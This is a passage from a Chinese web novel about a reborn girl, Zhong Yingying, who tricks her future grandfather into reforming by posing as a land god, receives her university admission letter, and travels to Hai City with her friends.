高传林惊愕：“小友这是怎么弄的？谁打的？” 象药没好气道：“谁打的你问他爹啊！他这个当爹的看见儿子挨揍，就跟没看见一样，直接跑了，大姐，你觉得这是人能干出来的事？” 事到如今象药是不打算跟高传家再继续过下去了，她算是看明白了，高传家他爹的就是一个彻彻底底的废物。 以前自己被他的皮囊吸引，再加上他几个姐姐为他兜底，也不觉得日子有多难过。 但自从高传家雀儿离奇消失后，美貌的皮囊衰老了，几个姐姐也对他没那么重视了，象药直接透过事件看本质，看清了高传家究竟是怎么样一个人。 他就是一个彻彻底底的懦夫。 儿子跟人起冲突，他不帮忙，第一时间做的竟然是逃跑？ 象药从来没有见过这样给人当爹的。 如果钟莹莹知道她对高传家的看法，一定会举双手双脚赞成。 可不就是懦夫吗？ 上辈子那玩意欠赌债，人家找麻烦找到家里来，他听到风声直接就找个借口走掉了。 只留下老婆孩子在家里应付债主，他等到债主离开后，再偷偷摸摸的回家。 这些都是钟莹莹她妈给她说的。 钟莹莹出生后，高传家的年纪已经很大了，那些事情都变成了往事。 他对待她们这些隔辈的小辈态度也变了，也就导致钟莹莹还真的以为他是个面善心热的和蔼老人。 但其实他只是老了，玩不动了。 钟莹莹脑子里一直有个记忆，她以前一直觉得那是幻觉，那就是上辈子她姥姥跟姥爷打架的记忆。 那个时候她估计才两三岁，俩人打架，把家里东西都摔了，她姥姥象药被打的一身都是伤。 这个记忆不是特别清晰，后来见两人相处和谐，钟莹莹一直认为那个画面是她臆想出来的。 直到这辈子，见到年轻的高传家，她才笃定那个记忆是真实存在的。 “传家，你给姐说，事情真的是你媳妇说的这样吗？”她想亲耳听她弟弟的解释，她相信她弟弟不是那样的人。 面对高传林的质问，高传家始终默不作声。 象药冷嘲热讽道：“大姐，看见了吗？要是我说的是假的，他早骂回来了，可是，你看现在呢？” 高传林还想再做垂死挣扎，她眼神热切的看着高传家：“传家，你说句话啊，只要你开口，姐就相信你！” 时间一分一秒的过去，终于，高传家开口说话了。 “姐，你想听我说什么？” “我人都废了，还有什么好说的？” “三姐、四姐、五姐、六姐都放弃我了，你跟二姐也早点放弃吧！” 高家六朵金花，年纪越小的嫁的越好。 高三姐，高四姐脾气比较拧巴，本来对高传家这个弟弟就感官一般，因为她们娘死前，一直说高传家是老高家的香火，说不能让老高家断了香火，她俩才一直对高传家予取予求。 高五姐，高六姐呢，跟高传家年龄相近，都是大姐高传林带大的孩子，因为高传家是家里唯一的男丁，高传林在带她们的时候难免有所偏向。所以就导致这俩其实跟高传家关系也算不上多好，因为有高传林的压制，她俩才不得不对高传家好。 得知高传家没了雀儿后，这俩第一时间其实是庆幸，庆幸高传家没了雀儿，再也没法凭借着那根东西向大姐争宠。 当然，高传家受伤时，她们第一时间也是赶了回来。 但在确定他雀儿彻底没救后，这俩人和高传林撒撒娇，给象药留下了一些家用后，就欢天喜地的坐火车回婆家了。 高传林被他说的泪眼汪汪：“传家，你糊涂啊！” 几个弟弟妹妹差不多都是她这个当大姐带大的，她哪个都疼的不得了。 现在看见高传家颓废的样子，高传林只觉得他是在挖自己的心啊。 无论高传林怎么劝，高传家都是那一副死猪不怕开水烫的样子。 象药现在看见他就烦，她甚至都不想跟高传家同处于一片空间，屋里高传颖被吵醒，呜哇呜哇的哭起来。 象药进屋抱了孩子，转头对高传林道：“大姐，你跟他先聊，孩子在家里吵的厉害，我抱孩子出去转转。” 钟莹莹听到象药要出门，立马远离了高家的院墙，并且迅速的装作一副刚好要路过的样子。 象药抱着孩子，迎面就跟钟莹莹撞上了。 由于对见她妈的迫切，钟莹莹只能努力把自己伪装成一个好奇小婴儿的无知小女孩。 “婶婶，你家孩子长的好圆乎啊，我能抱抱她吗？” 象药对钟莹莹还有些印象，知道她哥是之前送高传家去医院的人。 她稍微犹豫了一下，还是没让钟莹莹抱。 “小姑娘，我家孩子太小了，骨头软，不好抱的。” 万一给孩子摔了碰了的，象药自认为承受不起那个可能。 对于象药的拒绝，钟莹莹不但不生气，还为她妈感到开心，因为她姥姥终于开始重视她了。 她实在她想跟她妈有肢体接触了，不能抱的话，钟莹莹退而求其次：“婶婶，那我能摸摸她的小脸蛋吗？” 这次象药没再拒绝，只是叮嘱道：“你轻一些～” 钟莹莹伸出手，小心翼翼的触摸小婴儿柔嫩白皙的小脸蛋。 温热的，柔软的，神奇的触感。 小婴儿吐了个口水泡，太可爱了，钟莹莹的心立时变得软软的。 这就是她妈啊，没有经历过任何磨难的妈妈。 摸完了她妈妈，钟莹莹高兴到走路的脚都在发飘。 好在她还没忘记自己来高家村的目的，那就是为她妈扫平一切生存障碍。 象药在不受高传家的影响后，已经变了。现在她不仅不是障碍，还是她妈的保护伞。 那么钟莹莹要解决的问题就只剩下了高传家一人。 第146章 跟象药分别后，钟莹莹溜达了一圈，又回到了高家院外。 象药还没回来，高传林教育高传家不得，失望的回家去了，高家友也出门找象药去了，此刻高家院里，只有高传家一人，钟莹莹觉得这个时间段是她的好机会。 因为现在象药和高传家之间，高传家是挨打的一方，钟莹莹不担心她妈和她姥姥会吃亏，所以她决定再给高传家一个机会，单看高传家能不能把握的住了。 高家院内，高传家像个煞笔一样，双手捂着脸坐在板凳上。 钟莹莹在院外装作蹲下扣草根，然后以泥土为介质，收走了高传家其中一条板凳腿底下的泥巴，四条腿的支撑突然变成三条腿，高传家身体的重心像缺失泥土的那条板凳腿偏去，然后只听见沉闷的一声‘嘭～’，他就重重的歪倒在地。 摔倒之后，高传家一脸懵逼的坐在地上，然后看向板凳腿底下的那个坑。 “鬼～鬼啊～”他手撑着地，两脚一蹬，屁股蛋子不住的往后挪，想要远离那个诡异的板凳，和诡异的坑。 钟莹莹在外面被他的反应给逗的有点想笑，方才不还一副云淡风轻，什么都不在乎的样子吗？怎的现在小小一个板凳就给他吓成这个样子？ 笑归笑，她没忘记正事。 钟莹莹面对着高家院墙根长满杂草的土地，看着像是在瞎扣土，但是与此同时，展现在院内的高传家面前的却是另外一副场景。 “高传家，你不要害怕，我是土地神，我不会害你～”泥地上骤然浮现几个大字。 高传家一开始还闭上眼睛，不敢睁眼看。 但钟莹莹听不见里面的动静，就又挪走了高传家屁股下面的一块土，给他吓得一激灵后，立马睁开了眼睛。 这一睁眼，就看见了面前的那些大字。 高传家是识字的，他有六个姐姐，怎么着都给他供着去了学堂。 就是他这个人不争气，没读几年就吃不了读书的苦，自己退学了。 他哆嗦着开口：“土地公？” 钟莹莹在外面听到声音，又改变地上的字迹：“是的，我是土地公。” “你想知道自己为何会遭如此劫难吗？” 高传家：“为何？” 钟莹莹胡诌道：“你是天生的童子命，是历劫来的，历劫之后就可重归正位。” “但是你不思进取，上面对你感到非常失望，如果一直这样下去，你是回不来的。” “因你前世对我有恩，所以我特来助你。” 高传家看完钟莹莹写的字，不可置信道：“真的吗？我真的是童子命？” 他就知道，他生来就不平凡。 “对，你是，但是你要在人间历劫后方可归位。” “这一世你要善待妻儿，努力干活，帮助他人，努力积攒功德才能归位，还有，你记住了，一定不能偷懒，否则你下一世还得在人间受苦！” 钟莹莹胡说八道到自己都快编不下去了，但高传家却是把她写的话奉为圭臬。 他在地上不住的磕头道：“谢谢土地公，谢谢土地公，我今后一定改邪归正，善待妻儿，做一个好人，积攒功德。” 对于他的态度，钟莹莹非常满意。 “嗯，你能记住就好，你的福气在后面呢！” “切记不要跟任何人提起我的存在，我走了，你记住，一定要好好努力，争取早日归来～” 钟莹莹将地面复原，在院外等待着高传家的反应。 很快，她就听见院内传来一阵大笑声。 “哈哈哈哈哈……我是童子命，这下谁还敢说我不是男人？我比他们都要厉害！” “土地公说什么来着？要善待妻儿，努力干活？对，干活，家里这么多活呢，我要干活～” 离开前，钟莹莹透过高家的门缝看见高传家正打了一盆水，吭哧吭哧在那笑着洗衣服呢。 她在心里暗道：真稀奇啊，上辈子活那么久都没见过高传家干家务活，这辈子随便捏造个神仙转世的身份，就能给他拿捏的死死的。 果然，一种猴有一种拴法，对于高传家这种从小就饱受溺爱的男丁，就该去骗去忽悠。 “咱小老百姓，今儿个真高兴～”解决了一个心腹大患，钟莹莹离开高家时是哼着歌走的。 跟她哥嫂回村之后，她又度过了一段悠闲又无聊的日子，期间高考分数出来，她返校填写了志愿表后，跟宋悦和祁绮还有牛丽华商量好要去海市的事情后，就在家耐心等待录取通知书的到来。 “钟家的，你们家有人考上大学了！” 钟莹莹在家拿着勺，把西瓜一劈两半，捧着一半瓜正挖着西瓜吃时，她的录取通知书被邮递员送来了。 “哎呀～快让我看看，这大学录取通知书长什么样的？也让我家孩子沾沾喜气～” “都别挤，都别挤～我的鞋子！” “我摸到了，我摸到了，没想到我这个大老粗还有摸到大学录取通知书的一天！” …… 钟莹莹本人还没摸到她的录取通知书呢，村里人就已经把邮递员围了一圈，伸出手来，不住的去触摸那还被包在牛皮纸内，贴着邮票的信封。 邮递员好不容易从人群中挤出来，他扶正被挤的歪歪扭扭的帽子，又正了正衣领，满脸笑意道：“是钟莹莹同学吗？这是你的通知书，快来签收一下！” 他经常在附近各个村里跑来跑去，对于各家的情况也算是都了解一二。 钟家有个闺女，小小年纪就去市中读书，他是清楚的。 “谢谢！”钟莹莹在他手上的记录本上签了字后，接过通知书直接拆了开了。 鲜红的录取通知书上赫然印着池省大学四个字，虽然早知道自己一定能考上，但是通知书入眼的那一刻，钟莹莹还是小小的激动了一下。 有人去咸菜厂通知了还在干活的陈显英和钟伟先。 他俩回家的时候，心里和眼里俱是欢喜。 一到家，陈显英就从她那屋的柜子里掏出一大兜水果硬糖，先是不由分说的给邮递员手里塞了一大把，接着又是给每个围观的村民手里都塞了几颗糖。 “今天是我家闺女的好日子，她考上大学了，家里没什么别的好招待的，只能请你们吃点小糖，沾沾喜气了～” 邮递员一只手握着他手里的那一大把糖，另一只手不好意思的摸着自己的后脑勺：“谢谢婶子，您客气了～” 陈显英给他分的糖比周围所有人都要多，他知道，这是因为他给钟莹莹送来了录取通知书的缘故。 以往送去的人家，给他两颗糖就算是很好的了，陈显英是他见过的最大方的家长。 钟强先来的比较慢，看见那通知书他也是激动的很。 村里第一个大学生啊，他们钟家岗的祖坟要冒青烟了。 “咳咳～大家都安静一些，能听我说句话不？”钟强先清了清嗓子，站在众人面前。 村里人一下子安静下来。 邮递员因为好奇，也暂时的放下了其他还需要他送的邮件，站到一旁看钟强先要做什么。 “大家也知道，村里的厂子这两年产值很不错，大家拿了不少分红。” “但是，厂里哪来那么多单子，大家都清楚吗？” “要不是咱们莹莹在市里给咱们宣传，咱们也接不到这么多单子，所以我决定……”钟强先停顿了一下，注意到在场的每一位村名都聚精会神的注视着自己，他才继续往下说：“莹莹上大学的学费由村里赞助！” 他边上的村民静默的一瞬，紧接着就爆发出一阵巨大的唏嘘声：“切～我还以为什么事呢？村长，这点小事你自己决定就好。” 兜里有钱了，钟家岗的村民们对村里的钱也就没那么大的占有欲了。 钟强先哑然，他还以为、以为这话说出来指定要有村民反对的，没想到现在大家的思想都如此开明。 既然如此，他也就不卖关子了。 “除此之外，我还有另外一件事情要说。” “咱们村现在上学的孩子越来越多，莹莹她是第一个大学生，但不会是最后一个大学生，咱们村那么多聪明孩子，以后一定还会有考上大学的，所以我提议，凡是咱们钟家岗的孩子，只要有考上大学，或者考上中专的，学费一律由村里出。” 这个想法钟强先想了很久很久，其实羊毛还是出在羊身上。 村里出钱上学，也是从厂里的盈利中拿出来的，他这么做，只是保障了每一个想求学的孩子，都能不被学费困扰，顺利读书。 村里这些人他都知道，虽然心是好的，但有时候，在某些方面不免有些愚昧，比如在男女之事上面。 就像老楚家，要是楚天宝是正常的，他家一开始那个情况，怎么也轮不上秀秀去读中专。 可现在换成村里出钱，让孩子们去读书，那大家一定会绞尽脑汁的让自己孩子好好学习，努力往上考学。 钟强先自认为自己的思想已经走在了众人前面，他希望村里不管男孩女孩，都能够公平公正的得到受教育的机会。 楚秀秀已经读出来了，她一毕业就进了糖厂工作，倘若村里孩子以后都能像她一样，钟强先也就不愁钟家岗未来的发展了。 对于钟强先的提议，钟莹莹只能说出发点是好的，但是建议错了时间。 这福利没准最后只有她能享受到，因为几年之后，上面就要取消高考了，等它再次恢复就要到十年以后了。 第147章 “村长，这是好事啊，我们同意！” “对，我们同意！” …… 赞同的声音络绎不绝，钟莹莹暂时还没有听到有人反对。 一旁看热闹的邮递员十分羡慕钟家岗的氛围，他心里暗想，难道这就是钟家岗从一个贫穷落后的小村子发展成现在这样的秘诀吗？ 他得再仔细看看，好把钟家岗的招数学了拿回他们村。 钟强先拍板决定道：“既然大家都同意，那这个事就这么定了！” “以后咸菜厂的盈利，每年要拿出一部分，用于资助村里的娃娃们念书，这个钱只能用在学校里面，谁都不能挪用！” 这话一出，邮递员就知道今天钟家岗这事他们学不成了。 因为他们没有一个能够源源不断为村里制造财富的厂子，邮递员含泪离去。 钟莹莹拿了通知书就在为去海市做准备，她空间里的绝大多数地盘被截胡赵擎多那批财宝占据着，平常只能放些小东西进去。 这次去海市她打算多囤些东西回来，那空间的占位就很有讲究了。 “这个、这个，还有这个……通通都得拿出来！” 她屋子的门紧闭着，窗户上的草帘也拉的严严实实的，确保外界看不见一丝屋内的场景，那些大箱子中装着瓷器的箱子都被钟莹莹取了出来。 “嗯，就是这些，走你～” 瓷器不易坏，钟莹莹决定把它们深埋自家底下。 埋个一两米害怕有人给它们翻出来，那七八米、甚至是十几米呢？她不信，有人会掘地掘到那种地步，那都不叫掘地，那是打井了吧？ 一箱箱瓷器变成了钟家七八米地下湿润的泥土，钟莹莹打算明天就找个机会，给那些土倒进外面的河沟里去。 “咱们真的要去海市了吗？莹莹，我总感觉好像是在做梦一般～”祁绮躺在火车软卧的小床上，胡乱的翻滚着，直到把她的头发给滚的乱七八糟的，她才顶着一头混乱的鸡窝头，一脸兴奋的看着钟莹莹。 “这才哪到哪啊？等开学了之后，你要在海市过四年呢，到时候有你高兴的。” 祁绮：“不、不、不，这不一样，开学是开学，出去玩是出去玩！” 她这是第一次脱离家庭跟朋友一块出远门，去的还是她好多年前就想去的海市，她怎么能不兴奋呢？ 钟莹莹：“行吧，你开心就好！” 还是她们年轻人有活力啊，她这个‘老辈子’现在只想躺着睡觉。 晃晃悠悠的火车，再加上柔软厚实的卧铺，把车厢门一反锁，真的好睡感满满。 钟莹莹身上值钱的东西都放在了空间里，外面的行李只是掩人耳目的放了些衣物以及少许零用钱票，这一觉她睡的踏实的不得了。 等她再次醒来时，另外两个小伙伴都已经上了车，正小声的和祁绮说着话呢。 见钟莹莹醒来，宋悦笑着打趣道：“莹莹你可真能睡，跟小猪似的～” 她们上车时，那么用力的敲车厢门，都没给钟莹莹吵醒。 等祁绮给她俩开了门之后，三人又是唠了半天闲话，还是没见钟莹莹醒过来，宋悦都以为钟莹莹要一路睡到海市去了。 钟莹莹刚睡醒，意识还有些朦胧，她打了一个哈欠，不甚清醒的问：“丽华，几点了啊？” 四人当中只有牛丽华有手表，听到钟莹莹问她，牛丽华抬起手腕，看了一下表上的数值，随即开口道：“下午三点。” 钟莹莹一听，立马又躺倒了。 “那离开饭还早，等放饭了你们记得叫我一声啊～” 时光苦短，不如睡觉呐！ 宋悦想给钟莹莹叫起来说话，却被祁绮给制止了。 “悦悦，莹莹她可能是早上起太早，没睡好，你就让她睡吧！” 火车上的四人一派和谐，市里的余家氛围却是一片冷凝。 “你真是胆子肥了啊！那么高的分数，你做了什么？我真不明白你是怎么想的！”余华容的右手攥成拳头，重重砸在他书房的实木桌子上。 **凡躯和死物碰撞，他的手立刻红肿起来，但是他却顾不上手上的疼痛，因为他的心更痛。 他儿子，好好的省前十，不去首都或者海市念书，偏偏留在了本省。 他想不明白，池省大学究竟有什么好的啊，能让他放弃那么高的分数非得留下来。 余嘉祥十分冷静的看着余华容发疯，不知为何，他心中竟然浮现一丝莫名的爽感，一报还一报而已。 当年的他不也是一直反对余华容再娶吗？他的底线最后甚至一退再退，退到让他晚两年再娶，可他偏偏就是不同意。 现在就生气，也太早了，让他生气的还在后面呢。 余嘉祥一想到自己未来的计划，他就激动的恨不得立马跳跃到未来去，看看他爹有没有被他给气死。 余嘉祥没有开口说话，父子俩就这么无声的对峙着。 谢军在得知余嘉祥报了本省的大学后，就觉得大事不好，余华容那老家伙一定会对他大外甥动手。 因此他马不停蹄的蹬着自家的自行车就往余家赶啊。 “嘉祥，舅舅来了！” 谢军来到余家后，见他家院子没关门，就知道家里有人。 他把车子往院里一停，也不敲门，推开余家大门见客厅没人，他就直奔余华容的书房而去。 书房的门关着，他害怕余嘉祥在里面受折磨，一时情急，直接一脚踹了上去。 跟他预想中受苦受难的大外甥形象不一样，书房中的一大一小都用不解的眼神望着他。 谢军喘着粗气，扶着门框讪笑道：“哟～都、都在呢！” 他有些尴尬，不过还是很庆幸自己大外甥没事。 “华容啊，听说咱嘉祥考了报了本省的大学？咱池省的学校好啊，栩栩以前就是那学校的，嘉祥子承母业，干的不错啊！”谢军拍了拍余嘉祥的肩膀，眼里全是欣赏。 “要是没啥事的话，我带嘉祥去我家住几天，他娘以前留下的课本我都还保存着呢，嘉祥既然跟他娘选择了同一所大学，同一个专业，那些东西对他来说应该也有用。” 听大舅哥提到亡妻，余华容的神色缓和了几分。 他原本看着余嘉祥愤怒的眼神也变得有些复杂，这孩子，栩栩走的时候，他才多大啊，竟然还能记得住这些…… 看来改志愿这事，也不全怪这孩子。 罢了，池省大学就池省大学吧，以后照样能接他的班。 最终谢军还是顺利的把余嘉祥带离了余家。 “嘉祥，你以后也别老跟你爹做对！你爹跟你那个后娘离了，现在家里就你一个孩子，你得跟你爹打好关系，以后家产才不会被他分给你那个弟弟。” 谢军为这个大外甥可谓是操碎了心。 余嘉祥乖巧的开口道：“嗯，我知道的，舅舅，我没有跟他作对，我是真的想留在池省念书。可他不让，我才改了志愿，先斩后奏的。” 谢军信他改志愿的原因是真的，但是不信他说的没有和他爹做对。 这孩子他还不知道吗？天生犟种，自打当年他爹再婚他就跟他爹不对付。 可他少时丧母，还是他亡妹的‘遗物’，谢军又能怎么办呢？ 当然除了包容他，还是包容他了。 “行，既然通知书都下来了，那你就不要担心了。” “在开学之前，如果你不想回家，可以一直住在舅舅家里，等快开学的时候再回家整理行李也不迟。” 谢军担心余嘉祥心里有压力，还补充道：“你表哥最近跟人处对象，天天不着家，我这也忙，你舅妈天天下班一个人在家，就缺个人陪她说说话呢。” 余嘉祥老实点头：“好的，舅舅，我知道了。” 余嘉祥也认为该给他爹留出些时间和空间，让他消化一下，可不能一下给他气完蛋了，以后他还得继续薅羊毛呢。 不薅白不薅，他给自己找的‘婆家’家境一般，他得多存些媳妇本。 你问他为什么不拿自己以后的工资存？都说是以后的工资了，媳妇本要从小存起，不然的话，毕业之后是找不着媳妇的，总不能让人家好好的小姑娘跟着你吃糠咽菜吧？余嘉祥自认为没有那么大的脸。 再说了，他爹又不穷，那些个钱不给他也是给那个胖子，余嘉祥薅他羊毛没有一点心里负担。 也不知道他未来媳妇现在在做什么？这放假最不好的就是——分隔两地的人直接就失联了。 …… “莹莹，这边！” 宋茹牵着一个两三岁的奶娃娃，站在月台上，冲着钟莹莹挥手。 钟莹莹拎着行李带着三个小伙伴直接就朝着她过去了。 宋茹接到人，满脸高兴的对着自己牵着的那小孩道：“乐乐，快喊莹莹姑姑！” 小娃娃奶声奶气的冲着钟莹莹喊：“莹莹嘟嘟～” 钟莹莹放下行李，一把将小娃娃抱在怀里，亲昵的脸贴脸。 “哎呦～咱们乐乐都长那么大了啊～真可爱～” 宋乐怡小朋友被夸的有些害羞，小脸蛋红扑扑的。 她不好意思道：“嘟嘟也好看～” 第148章 “莹莹，走，上我家吃饭去！”宋茹不由分说的就要拉钟莹莹回家。 宋乐怡小朋友也开心的拍手：“嘟嘟吃饭，爹爹做好吃哒～” 钟莹莹却没直接答应，她们四个一块来的，她总不能抛下三个室友，就这么不明不白的跟宋茹走了。 她冲宋茹笑了笑说：“宋茹姐，我朋友还在这呢，我得跟她们先去招待所安顿好才能跟你一块走。” 宋茹一拍脑门道：“你看我这脑子，怎么把你朋友们给忘记了。” “走、走、走，都上我家去，等吃完饭了再去招待所办手续也不迟，姐路熟，行了，都给姐走，上姐家去！你姐夫今天请了个假，饭都做好了，就等你们来了。” 钟莹莹说要跟朋友去招待所，宋茹便直接将她的朋友们也都给打包带回了家。 见宋茹实在真诚，钟莹莹推脱不掉，只能带着三个忐忑不安的室友一块去了宋家。 王书钰这个宋家女婿，自打婚后，除了上班时住单位分的房子，其他时间一律回宋家住，就连宋乐怡小朋友也是在宋家出生的。 一到宋家，钟莹莹就收到了来自宋冬宇的热烈欢迎。 “莹莹都长那么高了啊？之前一直想说让你来海市玩，你一直都没来，这次来了，一定要多玩几天才回去啊！” 钟莹莹：“……”这不是她刚刚说宋乐怡小朋友的话吗？ 她顿了一下，随即笑着说：“宋叔叔，我会的。” 王书钰从走廊外进来，手里还端着两盘菜，刚一进屋他看见钟莹莹，就招呼她：“莹莹，快来坐啊，马上开饭了。” “还有你的这几位小朋友们，都坐都坐，饭马上就好～” 处在一个陌生的环境，宋悦跟祁绮还有牛丽华此刻都非常的拘谨，钟莹莹做什么，她们就跟着学什么。 宋家的饭桌不是很大，钟莹莹她们围坐上去，已经占了大半，得亏宋家人不多，只有三个大人一个小孩，宋乐怡这个小娃娃，吃饭没吃几口，就让宋茹放她下去玩，宋茹嫌她捣蛋，就给她抱回卧室，让她自己玩去了。 “听说你要读大学了？咋没报海市的大学呢？”宋茹是真心觉得可惜，如果钟莹莹来海市念大学的话，她能经常去带她来家里吃饭，带她去逛百货商场，带她去国营饭店吃饭，还有一些藏起来的小馆子，虽然现在明面上不许开了，但是哪个老海市人找不到一个苍蝇馆子啊。 钟莹莹：“我爹娘都年纪大了，我想离家近一些。” “唉～那确实，陈婶子最近身体还好吗？” “挺好的，有去县医院定期复查，医生说没啥大问题。”陈显英自打那年动过手术之后，年年都要去县医院做两次体检，是钟莹莹硬压着她过去的。 她一说什么浪费钱，不看了之类的话，钟莹莹就坐小板凳上，也不说话，就这么默默的流眼泪。 陈显英见不得她掉眼泪，直接就服软了。 钟莹莹强迫了她这么些年，现在她已经习惯了每年定期去医院做个检查。 宋茹点点头：“那就好，如果有什么问题的话，你不要客气，直接给我拍电报。” “咱家姑祖奶奶还好吧？她还能坚持吗？”宋茹说的是宋晴芳，她以前跟宋晴芳是不太熟的，但是自打她这个姑祖奶奶把家产托付给她爹之后，她就对这个姑祖奶奶熟悉了不少。 回忆起宋晴芳在钟家岗的现状，钟莹莹直接答道：“我来的时候见她脸色挺不错的，她现在顿顿都能吃两个杂面*窝头呢！” “有时候家里炒了鸡蛋和腊肉也会给她送去，有村长盯着，村里没人欺负她。” 由于有外人在，钟莹莹跟宋茹都没有说的太直白。 毕竟是下放人员，这个中关系旁人还是知道的越少越为妙。 听了钟莹莹的话，宋家父女俩都放下心来，宋茹又问：“莹莹，你们有计划好要去哪里玩吗？如果还没想好的话，姐请两天假，亲自带你们玩去！” 玩不玩的不重要，重要的是宋茹想偷懒，家里她爹和她丈夫都能赚钱，她自己也上班，一家三职工，只养一个娃，钱怎么花都花不完，宋茹一点压力都没有，可不就想犯懒了嘛。 “想好了，我们先去海市大学，再去百货大楼，最后再到海市公园逛一圈就成。”三个小伙伴给自己使眼色，使到眼皮都快抽筋了，钟莹莹哪能不明白她们的意思。 宋家人跟自己交好，自己可以跟宋茹单独出去，但自己的三个室友掺合进这种关系里就十分尴尬了，尤其这三个室友当中还有两个内向社恐人士。 “想好了就成。”小计谋没得逞，宋茹虽然有些失望，但也没太在意。 “都吃菜吃菜，菜都凉了，吃完了再聊天。” 王书钰婚后练了一手的好厨艺，今天更是给钟莹莹她们好好的露了一手。 那熏鱼做的比外面买来的还好吃，还有响油鳝丝，也不知他从哪搞到的这好东西，自打不让自由买卖后，这东西可不好买。 一桌子菜中，钟莹莹最爱的是葱烧大排，咸香可口中又透出一丝微甜，挂满了汤汁的大排放到米饭中，一口大排，一口米饭，直接给她吃嗨了。 自打知道了钟莹莹到海市的具体时间，王书钰提前很多天就开始准备今天这顿饭了。 王书钰问：“怎么样？还合胃口吗？” 钟莹莹把嘴里的最后一口饭咽下肚，才有时间抽空回答王书钰的话。 “姐夫，那可太合胃口了，你这手艺我感觉比国营饭店的大厨做的还好呢！” 得到自己想要的回答，王书钰满意了。 “好吃就行，等明天你们还来姐夫家，姐夫再给你们做。” 一个厨子最渴望的就是得到食客的认可，他老丈人不是很重口腹之欲，王书钰平常在家最忠实的食客就是他闺女和他媳妇，今天这骤然一下又多了几位食客，他可不就兴奋了吗。 在宋家吃完饭，宋冬宇还想留钟莹莹在宋家住，但钟莹莹心里还惦记着她的囤货大计，哪里会答应。 “宋叔叔，我跟我同学去招待所，我不去的话，她们三个人不好分房间。” 招待所有单人间，双人间还有多人间，三个人住单间太奢侈也太不安全，最好的解决办法还是住双人间，一张床上睡两个人，安全性也能提升不少。 人家不愿意，宋冬宇也不好强留，只好说：“行，住招待所就住招待所吧！” “叔叔家的路你认识，如果有任何问题，你来家里找我，或者上厂里找我都成。” “书钰啊，你一会儿跟小茹把莹莹还有她这几个朋友给送招待所去，等给她们办好入住手续你们再回来。” 王书钰还在走廊尽头的水池边洗碗呢，听到屋里他老丈人的话，立马大声回复道：“好的，爹，我把剩下这两个碗洗好马上就来。” 一直等到天快要黑了，钟莹莹她们才到了招待所。 宋茹找服务员拿几颗大白兔给她们安排了一个窗子临街的房间。 “今天你们就在招待所好好休息一晚，等明早休息好了再出去玩，我打听过了，海市大学暑假给进，但是得去保安室那块登记才成，莹莹，你同学有海市大学的录取通知书，我估计保安是不会拦你们的。” “至于海市公园，那边不要票，随便进。” “哦，对了～你们要上百货大楼玩，身上有全国工业票或者海市的工业票吗？莹莹，姐这里有，先给你几张，你拿着用，不够的话，你再给我说！你朋友要用的话，你给她们换几张。” 宋茹不是冤大头，她愿意给钟莹莹出钱票，是因为她们本来关系就好。 至于钟莹莹的几个小伙伴，她也愿意给她们提供一定的帮助，比如换置一些票据类的，但不能再多了。 从钱票到路线，宋茹都给钟莹莹安排的妥妥当当的，钟莹莹哪里会有什么不满意的地方。 跟宋茹拉扯了一番后，钟莹莹还是没扭过宋茹的好意，把那把子票还有她私下塞给自己的钱揣进兜里了。 她也不打算占宋茹便宜，她想着等她临走的时候，再买些礼物送到宋家去。 就是这买海市的礼物赠海市的人，有些奇怪，不过钟莹莹管不了那么多了。 她已经迫不及待的想要开始她的买买买活动了。 钟莹莹往屋里床上铺着自带的床单呢，就听宋悦用一种刻意夸张的语气模仿之前的宋茹：“莹莹，姐这里有钱票，你拿去用，不够再给我说～～～” “你这亲戚太豪气了吧！”不说别的，就今天晚上她们吃的那一桌菜，那就不是普通人家能吃得起的。 六个大人一个小孩吃六菜一汤，其中还只有一道菠菜炒鸡蛋，还有油渣大白菜算是素菜，其他都是实打实的大荤，宋悦不管是在别人家吃饭还是在自己家吃饭都没见过这场面。 钟莹莹一边把床单垂下来的角塞进床缝里，一边头也不回的道：“她家是三职工，上面没有老，下面只要养一个孩子，条件比较好。” 第149章 “我去，那我不敢想，如果能当他们家孩子，那该有多幸福了！”三职工只养一个孩子，这孩子是生在福窝窝里了吧？也不知道上辈子积了多少德，这辈子能投这么个好胎。 宋悦从小就特别羡慕那些家庭条件好、家里也待她们好的女孩子，因为她爹娘那就真叫一个纯畜生。 钟莹莹终于铺好了床，脱了鞋子往床上一躺，然后对宋悦道：“我也挺羡慕的！” 出生就在罗马，这孩子恐怕这辈子吃过的最大的苦就是咖啡或者黑巧克力了吧。 不过羡慕归羡慕，钟莹莹对于自己现在的家庭状况还是很满足的。 家人健康，能够吃饱穿暖，她还有个金手指，她还有什么不知足的呢？ “你俩可别羡慕了，明儿个还要早起出去玩呢！都早点睡觉，明天才能有精神好好玩。”牛丽华难得一次性说这么多话。 宋悦拍拍牛丽华的小脸蛋：“行行行，都听我们丽华的，熄灯睡觉！明早去丽华跟绮绮学校看看。” 一夜好眠，钟莹莹起了个大早。 推开窗子，顿时一阵清晨的凉风扑面而来，钟莹莹倚在窗台享受着这股凉意。 楼下的街上已经有很多人形色匆匆的路过了。 海市跟她们乡下老家就是不一样，这里的人衣着整齐，看上去光鲜亮丽。 钟莹莹透过如今普普通通的海市，仿佛能看见几十年后那个五光十色的不夜城。 上午她跟三个室友一块去了海市大学，如预料中的那样，牛丽华跟祁绮一掏出录取通知书，保安就给她们放行了。 海市大学很大，也很漂亮，钟莹莹很喜欢。 逛完学校，她们仨想去吃饭，钟莹莹直接借口要去宋家一趟，跟小伙伴们短暂的分别了。 离开伙伴们的钟莹莹直奔百货大楼而去，轻车熟路的去了商店的二楼，来到了手表柜台。 在车上的时候她就感觉不方便了，问个时间什么的都要问别人。 她准备买一块手表，海市牌的女士手表就挺不错，小巧又精致。 钟莹莹直接找柜员拿了一块，付了钱和票之后，她将手表戴在了手腕上，泛着冷光的银白色金属表映衬得那白皙柔嫩的手腕更加纤细，钟莹莹很满意这块表。 手表买完之后，她又去了边上的副食品柜台，她这个人吧，吃穿住行当中穿住行都可以将就一下，但吃她真的将就不得。 钟莹莹惊奇的发现副食品柜台中竟然有草原奶粉，明明上次……好吧，上次她来已经是好几年前了，百货大楼有变化也很正常。 她想买奶粉，但是苦于兜里没有票据。 柜台里面的柜员看出了她的烦恼或者说她的新手表，‘主动’站出来给她排忧解难。 姜芸凑近钟莹莹，小声的说：“小姑娘，我看你在这转悠了挺长时间，你是想买奶粉吗？” 钟莹莹点点头：“对，但是我没有奶粉票。”宋茹家可能会有，不过她家还有小乐乐呢，自家都不够用，如果钟莹莹向宋茹讨要，对方应该会给她，但钟莹莹哪里好意思跟小朋友抢奶啊。 姜芸：“我这里有奶粉票，如果你有工业票的话，我可以跟你换。” 